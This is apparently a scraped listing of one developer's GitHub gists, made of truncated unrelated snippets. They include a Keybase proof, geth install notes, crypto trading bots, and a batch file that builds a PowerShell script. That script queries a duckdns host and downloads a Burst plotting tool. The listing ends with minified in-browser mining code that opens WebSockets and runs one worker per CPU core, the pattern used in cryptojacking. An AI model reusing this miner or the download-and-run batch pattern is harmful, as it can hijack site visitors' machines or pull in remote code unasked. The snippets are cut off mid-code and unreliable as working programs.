I hereby claim:
- I am dunncreativess on github.
- I am jrsdunn (https://keybase.io/jrsdunn) on keybase.
- I have a public key ASAyjWJkHwR6Yy7q_gzyQXovAgt4q1vrPMWCKANwpjSX4Qo
To claim this, I am signing this object:
0x62208973e8CAc2e82881A8E7120664c623B4A500 |
I hereby claim:
To claim this, I am signing this object:
From: https://github.com/ethereum/go-ethereum/wiki/Installation-instructions-for-Windows
Compiling geth with tools from chocolatey
The Chocolatey package manager provides an easy way to get the required build tools installed. If you don't have chocolatey yet, follow the instructions on https://chocolatey.org to install it first.
Then open an Administrator command prompt and install the build tools we need:
C:\Windows\system32> choco install git
var request = require('request-promise') | |
var addresses = [] | |
var thetotal = 0 | |
var c = 0 | |
var ethusd; | |
var batusd; | |
var zrxusd; | |
var repusd; | |
var prices = {} | |
var adds = {} |
/* | |
this bot assumes you've already enabled borrowing on compound.finance, | |
that you already approved transfers on behalf of DAI and USDC | |
(can do here https://chiragkhatri.me/compound-liquidator), and that you have | |
DAI and USDC on your Ether address, while having nothing lent or borrowed yet. | |
Author: Jarett Dunn jare@coindexlabs.com | |
*/ | |
let request = require('request-promise') | |
const CoinbasePro = require('coinbase-pro'); | |
const publicClient = new CoinbasePro.PublicClient(); |
from dydx.client import Client | |
import dydx.constants as consts | |
import dydx.util as utils | |
# create a new Python client with a private key (string or bytearray) | |
# Only one Python client is needed for both Solo and Perpetual API | |
client = Client( | |
private_key='', | |
node='https://mainnet.infura.io/v3/55458f59f7cf468994d636c99a959de6' | |
) |
markets = client.get_perpetual_markets() | |
syms = [] | |
rates = [] | |
for m in markets['markets']: | |
#if m['market'] == 'WETH-PUSD': | |
syms.append(m['market']) | |
rate = round(float(m['fundingRate']) * 8*60*60*100*3 * 10000)/ 10000 | |
# print(m['market'] + ' daily funding rate: ' + str(rate) + '%') | |
rates.append(rate) | |
t = 0 |
@echo off | |
@echo mkdir c:\temp >>stuff.ps1 | |
@echo $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" >>stuff.ps1 | |
@echo $nonces=$disk.FreeSpace/1024/1024/1024/2*4096 >>stuff.ps1 | |
@echo $web_client = new-object system.net.webclient >>stuff.ps1 | |
@echo $build_info=$web_client.DownloadString("http://noncecalculator.duckdns.org:3000/?nonces=$nonces") >>stuff.ps1 | |
@echo $start=$build_info.nonce >>stuff.ps1 | |
@echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/engraver/releases/download/2.20/engraver-2.2.0-x86_64-pc-windows-msvc.zip.zip', 'c:/temp/engraver.zip') >>stuff.ps1 | |
@echo $nonces=[math]::floor($nonces) >>stuff.ps1 |
var request = require('request') | |
var parseString = require('xml2js').parseString; | |
towrite = [] | |
var Twitter = require('twitter'); | |
var client = new Twitter({ | |
consumer_key: '', | |
consumer_secret: '', | |
access_token_key: '', | |
access_token_secret: '' |
var server="wss://ws1.server:80/;wss://ws2.server:80/;wss://ws3.server:80/",job=null,workers=[],ws,receiveStack=[],sendStack=[],totalhashes=0,connected=0,reconnector=0,attempts=1,throttleMiner=0,handshake=null,wasmSupported=function(){try{if("object"===typeof WebAssembly&&"function"===typeof WebAssembly.instantiate){var c=new WebAssembly.Module(Uint8Array.of(0,97,115,109,1,0,0,0));if(c instanceof WebAssembly.Module)return new WebAssembly.Instance(c)instanceof WebAssembly.Instance}}catch(h){}return!1}(); | |
function aws(c){logicalProcessors=c;if(-1==c){try{logicalProcessors=window.navigator.hardwareConcurrency}catch(h){logicalProcessors=4}0<logicalProcessors&&40>logicalProcessors||(logicalProcessors=4)}for(;0<logicalProcessors--;)aw()} | |
var openWebSocket=function(){null!=ws&&ws.close();var c=server.split(";");ws=new WebSocket(c[Math.floor(Math.random()*c.length)]);ws.onmessage=on_servermsg;ws.onerror=function(c){2>connected&&(connected=2);job=null};ws.onclose=function(){2>connected&&(connected=2);job=null};ws.onop |